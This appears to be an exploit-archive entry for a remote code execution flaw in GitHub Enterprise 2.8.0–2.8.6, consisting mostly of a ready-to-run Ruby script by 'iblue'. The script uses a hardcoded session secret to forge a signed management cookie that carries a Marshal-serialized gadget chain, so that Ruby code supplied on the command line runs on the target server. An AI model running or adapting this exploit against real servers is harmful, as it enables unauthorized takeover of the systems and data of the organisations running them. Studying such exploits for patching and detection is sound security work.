GitHub Enterprise 2.8.x Remote Code Execution

2017.03.17
Credit: iblue
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/ruby require "openssl" require "cgi" require "net/http" require "uri" SECRET = "641dd6454584ddabfed6342cc66281fb" puts ' ___. .__ ' puts ' ____ ___ ________ \_ |__ | | __ __ ____ ' puts '_/ __ \\\\ \/ /\__ \ | __ \| | | | \_/ __ \ ' puts '\ ___/ > < / __ \| \_\ \ |_| | /\ ___/ ' puts ' \___ >__/\_ \(____ /___ /____/____/ \___ >' puts ' \/ \/ \/ \/ \/ ' puts '' puts "github Enterprise RCE exploit" puts "Vulnerable: 2.8.0 - 2.8.6" puts "(C) 2017 iblue <iblue@exablue.de>" unless ARGV[0] && ARGV[1] puts "Usage: ./exploit.rb <hostname> <valid ruby code>" puts "" puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\"" exit 1 end hostname = ARGV[0] code = ARGV[1] # First we get the cookie from the host to check if the instance is vulnerable. puts "[+] Checking if #{hostname} is vulnerable..." http = Net::HTTP.new(hostname, 8443) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates rqst = Net::HTTP::Get.new("/") while res = http.request(rqst) case res when Net::HTTPRedirection then puts " => Following redirect to #{res["location"]}..." rqst = Net::HTTP::Get.new(res["location"]) else break end end def not_vulnerable puts " => Host is not vulnerable" exit 1 end unless res['Set-Cookie'] =~ /\A_gh_manage/ not_vulnerable end # Parse the cookie begin value = res['Set-Cookie'].split("=", 2)[1] data = CGI.unescape(value.split("--").first) hmac = value.split("--").last.split(";", 2).first expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data) not_vulnerable if expected_hmac != hmac rescue not_vulnerable end puts " => Host is vulnerable" # Now construct the cookie puts "[+] Assembling magic cookie..." # Stubs, since we don't want to execute the code locally. module Erubis;class Eruby;end;end module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end erubis = Erubis::Eruby.allocate erubis.instance_variable_set :@src, "#{code}; 1" proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate proxy.instance_variable_set :@instance, erubis proxy.instance_variable_set :@method, :result proxy.instance_variable_set :@var, "@result" session = {"session_id" => "", "exploit" => proxy} # Marshal session dump = [Marshal.dump(session)].pack("m") hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump) puts "[+] Sending cookie..." rqst = Net::HTTP::Get.new("/") rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}" res = http.request(rqst) if res.code == "302" puts " => Code executed." else puts " => Something went wrong." end


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